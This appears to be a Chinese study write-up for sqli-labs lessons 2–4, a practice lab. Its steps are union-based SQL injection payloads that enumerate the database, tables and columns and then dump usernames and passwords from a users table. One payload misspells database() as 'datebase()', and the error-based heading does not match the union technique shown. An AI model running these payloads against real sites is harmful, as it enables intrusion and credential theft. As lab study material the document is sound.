SQL报错注入(less2,less3,less4)
0x0 LESS2-布尔型注入
- 正常访问

- 引号报错

- 判断注入点
?id = 1 and 1=1 #
?id = 1 and 1=2 #
- 测列数
?id = 1 and 1=1 order by 4 #

- 测数据显示点
?id=-1 and 1=1 union select 1,2,3 # //注意id改成-1

- 测试数据库名和用户权限
?id=-1 and 1=1 union select 1,datebase(),user() #

- 测表名
?id=-1 and 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database() ),3 #
?id=-1 and 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

- 测列名
?id=-1 and 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = database()),3 #
?id=-1 and 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' #

- 测字段
?id=-1 and 1=1 union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 #
?id=-1 and 1=1 union select 1,group_concat(concat_ws(0x7e,username,password)),3 from users #

0x1 LESS3-字符型注入(单引号带括号)
- 报错信息
根据报错信息可以推断存在一个括号
实际表现为
select ('id=1') and 1=2 --+) //--+后被注释掉
等价于
select ('id=1') and 1=2 - 测列数
?id=1') and 1=1 order by 4--+

- 测数据显示点
?id=-1') and 1=1 union select 1,2,3--+

- 测试数据库名和用户权限
?id=-1') union select 1,database(),user() --+
之后步骤与LESS-2一致
0x2 LESS4-字符型注入(双引号带括号)
- 报错信息

- 注入点
?id= 1") and 1=2 --+

- 测数据显示点
?id= -1") union select 1,2,3 --+

- 测试数据库名和用户权限
?id= -1") union select 1,database(),user() --+

- 测表名
?id= -1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

- 测字段
?id= -1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--+

- 测数据
?id= -1") union select 1,group_concat(concat_ws(0x7e,username,password)),3 from users--+
